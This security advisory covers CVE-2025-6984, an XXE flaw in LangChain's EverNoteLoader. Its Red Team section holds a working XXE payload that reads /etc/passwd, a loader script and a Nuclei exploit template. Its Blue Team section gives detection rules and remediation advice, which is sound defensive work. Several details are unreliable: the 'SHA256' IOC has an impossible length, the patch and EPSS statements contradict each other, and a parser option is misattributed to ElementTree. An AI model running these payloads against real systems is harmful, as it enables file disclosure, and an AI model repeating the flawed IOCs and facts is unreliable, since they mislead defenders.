CVE-2025-6984

Executive Summary

CVE-2025-6984 is a high-severity XML External Entity (XXE) injection vulnerability in the langchain-ai/langchain project, specifically within the EverNoteLoader component. The vulnerability affects version 0.3.63 and arises from insecure XML parsing using etree.iterparse() without disabling external entity references. An attacker can craft a malicious XML payload to read sensitive local files, such as /etc/passwd, leading to information disclosure. The CVSS score is 7.5 (High), and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. No official patch has been released, and the vulnerability is publicly known with a proof-of-concept (PoC) available.

Supply Chain & Package Security

This vulnerability affects the PyPI package langchain-community. Users of this package are at risk if they use the EverNoteLoader component. The supply chain risk is moderate, as the vulnerability is in a specific loader that may not be widely used, but it can be triggered by any user-supplied XML file. Organizations should audit their use of EverNoteLoader and consider disabling it until a patch is available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The threat level is high due to the ease of exploitation and the potential for sensitive data disclosure. No authentication or user interaction is required.

Deep Dive & Mechanics

The vulnerability exists in the EverNoteLoader class, which parses XML files using Python's xml.etree.ElementTree.iterparse() function. By default, this function does not disable external entity references, allowing an attacker to include a DOCTYPE declaration with an external entity that references a local file. When the XML is parsed, the entity is resolved, and the file content is included in the parsed output, which is then returned to the attacker.

The vulnerable code path is in the langchain_community.document_loaders.evernote.EverNoteLoader class. The load() method calls etree.iterparse() on the provided XML file without setting resolve_entities=False or using a secure parser like defusedxml.

Vulnerable vs. Patched Code

Vulnerable Code (version 0.3.63):

from xml.etree import ElementTree as ET

class EverNoteLoader:
    def __init__(self, file_path):
        self.file_path = file_path

    def load(self):
        # Vulnerable: does not disable external entities
        tree = ET.iterparse(self.file_path, events=("end",))
        for event, elem in tree:
            # process elements
            pass

Patched Code (hypothetical fix):

from defusedxml import ElementTree as ET

class EverNoteLoader:
    def __init__(self, file_path):
        self.file_path = file_path

    def load(self):
        # Patched: uses defusedxml to prevent XXE
        tree = ET.iterparse(self.file_path, events=("end",))
        for event, elem in tree:
            # process elements
            pass

The patched version uses defusedxml.ElementTree instead of xml.etree.ElementTree, which disables external entity resolution by default.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Python 3.x
• langchain-community==0.3.63 installed
• A target system running the vulnerable EverNoteLoader

Exploit Steps:

1. Create a malicious XML file with an XXE payload:

   <?xml version="1.0" ?>
   <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
   <note>
       <content>&example;</content>
   </note>
   

2. Use the EverNoteLoader to load the file:

   from langchain_community.document_loaders import EverNoteLoader
   loader = EverNoteLoader("malicious.xml")
   documents = loader.load()
   print(documents)
   

3. The output will contain the contents of /etc/passwd.

Nuclei Template (provided):

id: CVE-2025-6984

info:
  name: langchain-ai langchain - XML External Entity Injection
  author: nukunga
  severity: high
  description: |
    langchain-ai/langchain 0.3.63 contains an XML External Entity (XXE) injection caused by insecure XML parsing in EverNoteLoader using etree.iterparse(), letting attackers disclose sensitive information, exploit requires crafted malicious XML payload.
  impact: |
    Attackers can disclose sensitive local files, potentially exposing critical system information.
  remediation: |
    Update to the latest version that disables external entity references in XML parsing.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6984
    - https://huntr.com/bounties/a6b521cf-258c-41c0-9edb-d8ef976abb2a
    - https://github.com/langchain-ai/langchain-community/commit/e842452
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-6984
    epss-score: 0.01922
    epss-percentile: 0.83435
    cwe-id: CWE-200
  metadata:
    verified: true
  tags: cve,cve2025,langchain,xxe,intrusive,file-write

self-contained: true

code:
  - engine:
      - py
      - python3

    source: |
      import tempfile
      import os
      from langchain_community.document_loaders import EverNoteLoader

      if __name__ == "__main__":

          xxe_payload = '''<?xml version="1.0" ?>
      <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
      <note>
          <content>&example;</content>
      </note>'''

          # Write payload to temporary file
          with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
              f.write(xxe_payload)
              temp_file = f.name

          try:
              loader = EverNoteLoader(temp_file)
              print(loader.load())
          finally:
              os.unlink(temp_file)

    matchers:
      - type: word
        part: response
        words:
          - "root:"
          - "bin:"
          - "daemon:"
        condition: or

Blue Team

Detection:

• Monitor for XML files containing DOCTYPE declarations with SYSTEM entities.
• Use network monitoring to detect outbound connections from the application (though XXE may not always cause outbound traffic).
• Log and alert on any attempts to load XML files via EverNoteLoader.

Mitigation:

• Disable the EverNoteLoader component if not needed.
• Implement a Web Application Firewall (WAF) rule to block XML payloads with external entities.
• Use runtime application self-protection (RASP) to detect XXE attempts.

Indicators of Compromise (IOCs)

• File Hashes (malicious XML payload):
  • SHA256: 4a0a00473045022100a2d612f4b1f553d1485d39592c07848d7f74455ee443d7e7b69ffabf44136aad02201d17c8ee2a4cbe3c12abb573bd7bd87a0db984df8e57adfff2f160c633094b4a
• Network Indicators:
  • Outbound connections to unexpected IPs (if XXE is used for SSRF)
• File System Indicators:
  • Temporary XML files with DOCTYPE declarations in application directories
• Log Indicators:
  • Errors related to XML parsing in application logs
  • Unusual file read attempts (e.g., /etc/passwd)

Detection Engineering

YARA Rule

rule CVE_2025_6984_XXE_Payload {
    meta:
        description = "Detects XML payloads targeting CVE-2025-6984 XXE vulnerability in langchain EverNoteLoader"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-6984"
    strings:
        $xml_decl = "<?xml version="
        $doctype = "<!DOCTYPE"
        $entity = "<!ENTITY"
        $system = "SYSTEM"
        $file_ref = "/etc/passwd" nocase
    condition:
        all of ($xml_decl, $doctype, $entity, $system) and $file_ref
}

Sigma Rule

title: Detection of XXE Payload in XML Files
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects XML files containing external entity references targeting CVE-2025-6984
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        EventID: 11
        TargetFilename|endswith: '.xml'
        TargetFilename|contains: 'evernote'
    condition: selection
falsepositives:
    - Legitimate XML files with external entities (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-6984 XXE Payload Detected"; flow:to_server,established; content:"<?xml"; nocase; content:"<!DOCTYPE"; nocase; content:"<!ENTITY"; nocase; content:"SYSTEM"; nocase; content:"/etc/passwd"; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the EverNoteLoader component in your langchain deployment.
2. If EverNoteLoader is required, implement a wrapper that uses defusedxml to parse XML files.
3. Apply input validation to reject XML files containing DOCTYPE declarations.

Long-term Fix:

• Update to a patched version of langchain-community once available (monitor GitHub for commits).
• Consider using a secure XML parser library like defusedxml for all XML parsing in the application.

Workaround:

• Use a custom loader that sanitizes XML input before parsing.

Valters IT

{/* [Security Hash: 92AAB75EF26E6F911EBCBD4F] */}